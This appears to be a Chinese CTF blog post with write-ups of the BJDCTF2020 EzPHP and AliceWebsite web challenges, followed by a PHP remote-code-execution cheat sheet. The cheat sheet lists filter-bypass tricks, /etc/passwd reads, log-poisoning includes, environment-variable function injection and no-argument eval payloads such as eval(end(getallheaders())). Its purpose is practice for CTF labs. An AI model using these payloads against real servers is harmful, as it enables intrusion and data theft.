刷题记录23-1-11

[BJDCTF2020]EzPHP

查看源代码

1
2
<!-- Here is the real page =w= -->
<!-- GFXEIM3YFZYGQ4A= -->

base32解码1nD3x.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

第一个if

1
2
3
4
5
6
if($_SERVER) { 
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

地图炮版基本过滤,就在那里恶心人
url编码过去

1
2
3
4
5
6
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

过正则,又要不全等于,前面正则匹配,加个换行就行了

1
2
3
4
5
6
if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

$_REQUEST特性

当我只传入?aaa=111此时$_REQUEST=array(1) { ["aaa"]=> string(3) "111" },如果我再同时POST一个aaa=123时候,$_REQUEST=array(1) { ["aaa"]=> string(3) "123" }
利用这个特性覆写

1
2
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

data伪协议覆写,记得POST覆盖一下

1
2
3
4
5
6
7
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

数组报错绕过,获得关键extract($_GET["flag"]);

1
2
3
4
5
6
7
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

create_function()此处include flag.php大胆猜测flag在变量中,可以直接输出所有的变量

["ffffffff11111114ggggg"]=> string(89) "Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php

取反绕过,伪协议读取rea1fl4g.php

[网鼎杯 2020 半决赛]AliceWebsite

?action疑似任意文件读取,貌似伪协议读不出来,读取一下/start.sh

1
#!/bin/bash if [[ -f /flag.sh ]]; then source /flag.sh fi apache2-foreground

寄,投机取巧没成功,flag.sh被删了

整了一圈啥都没弄到,看了眼wp

妈的,直接包含../../flag

  
 CTF WEB RCE

命令执行备忘录

命令执行备忘录

0x00 什么是RCE

RCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

0x01 常见命令执行函数

1
2
PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()...
1
2
PHP命令执行函数:
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()...

0x02 Bypass

1.关键词拦截:

  • 关键词替换为空的情况:

    • 双写绕过,比如cacatt -> cat
  • 仅拦截关键字:

    • 使用其他函数,比如拦截cat的时候,可以使用其他命令。

      Input Ouput
      static-sh ./flag.txt ./flag.txt: line 1: flag{this_is_a_test}: not found
      paste ./flag.txt /etc/passwd flag{this_is_a_test} root:x:0:0:root:/root:/bin/bash…
      diff diff ./flag.txt /etc/passwd
      curl file:///home/coffee/flag flag{this_is_a_test}
    • 通配符绕过,比如可以使用/b??/c?t f*该方法有时候会因为输出过多或者运行时间超出限制被强行中断

    • 插入"" <> '' \绕过,比如ca''t flag.txt或者ca\t flag.txt

    • 内联执行,将反引号内命令的输出作为输入执行,如: cat `ls`,或者是cat ${ls}

    • 使用变量替换,如$c=a;cat fl$cg.php

  • 拦截空格,空格可以用以下字符串代替:

    < 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等,比如:

    1
    2
    3
    4
    5
    6
    cat%09flag
    {cat,flag.txt}
    cat${IFS}flag.txt
    cat$IFS$9flag.txt
    cat<flag.txt
    cat<>flag.txt
  • .操作符
    eval函数中用.把被拦截的关键字给分开,比如

    1
    2
    <?php 
    eval(include "/www/lo"."g/nginx/access.log");
  • 逃逸,绕过太难了,直接润出来
    比如

    1
    2
    c=include$_GET[1]?> 
    c=eval($_GET[1])
  • 借壳生蛋

    1
    2
    3
    4
    5
    6
    7
    8
    <?php
    $env = $_GET['env'];
    if(isset($env)){
    putenv($env);
    system("whoami");
    }else{
    highlight_file(__FILE__);
    }

    ?env=BASH_FUNC_whoami%%=() { ls; }
    whoamisystem(“whoami”)启动的bash环境的函数,相当于我们注册了一个whoami替换它

  • 构造
    在PHP7中,可以这样调用函数:

    1
    2
    3
    ('phpinfo')();
    $a = "phpinfo";$$a;
    ...

    然后就可以使用异或^,取反~,自增++,自减--等方法构造想要的字符然后进行动态函数调用。

    构造字符的时候,可以利用一些PHP的特性:

    • PHP中的NAN和INF:
      1
      2
      3
      4
      5
      6
      NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。

      INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。

      $_=C/C;//NAN
      $_=1/C//INF

2.无回显

  • 利用sleep()之类的函数来根据服务器响应的时间一个一个字符获获取
    注:该方法局限性很大,且容易受到网络波动影响,不建议优先考虑使用

  • 利用dns外带http://dnslog.cn/
    注:该方法也有一定的局限性,有长度限制而且不支持特殊字符

  • 利用重定向,将输出重定向到可访问网页中

  • 反弹shell
    如果题目不出网只能寄

  • 命令注入,尝试在命令后面加上||%0a%0d|;&等符号将原先重定向到/dev/null的命令分割开

3.include

  • 伪协议
  • 日志包含
    UA写马,包含access.log
  • allow_url_include=ture可以使用的data
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    data类型扩展:

    data类型扩展
    data:,<文本数据>
    data:text/plain,<文本数据>
    data:text/html,<HTML代码>
    data:text/html;base64,<base64编码的HTML代码>
    data:text/css,<CSS代码>
    data:text/css;base64,<base64编码的CSS代码>
    data:text/javascript,<Javascript代码>
    data:text/javascript;base64,<base64编码的Javascript代码>
    data:image/gif;base64,base64编码的gif图片数据
    data:image/png;base64,base64编码的png图片数据
    data:image/jpeg;base64,base64编码的jpeg图片数据
    data:image/x-icon;base64,base64编码的icon图片数据
    Tips: PHP具有极强的鲁棒性特别耐操,尤其是伪协议这块。
    1
    2
    3
    4
    5
    6
    7
    原payload:php://filter/convert.base64-encode/resource=index.php

    我可以插♂ 入一些奇怪的东西
    php://filter/convert.base64-encode/114514/resource=index.php

    我可以大大小小
    php://FiLTer/convert.base64-encode/resource=index.php

4.无参命令执行

这种就基本没活能整了,已经十分固定下来了

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
  • '/[^\W]+\((?R)?\)/'的解释

    这里使用pregreplace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9],然后(?R)?这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;

    以上正则表达式只匹配a(b(c()))或a()这种格式,不匹配a(“123”),也就是说我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行。

  • 一些有用的东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。

读文件

show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件

PAYLOAD

  1. 请求头

    1
    2
    3
    GET /1.php?code=eval(end(getallheaders())); HTTP/1.1
    .....
    flag: system('id');
  2. get_defined_vars()

    1
    ?code=eval(end(current(get_defined_vars())));&flag=system('ls');

    利用全局变量进RCE

get_defined_vars():返回由所有已定义变量所组成的数组,会返回 _GET,_POST, _COOKIE, _FILES全局变量的值,返回数组顺序为get->post->cookie->files
current:返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回$_GET变量的数组值

3.session_start()

  • session_start():启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id()

  • session_id():获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符串(””)。
    文件读取

  • show_source(session_id(session_start()));

  • var_dump(file_get_contents(session_id(session_start())))

  • highlight_file(session_id(session_start()));

  • readfile(session_id(session_start()));
    抓包传入Cookie: PHPSESSID=(想读的文件)即可

  
 CTF WEB RCE


:D 一言句子获取中...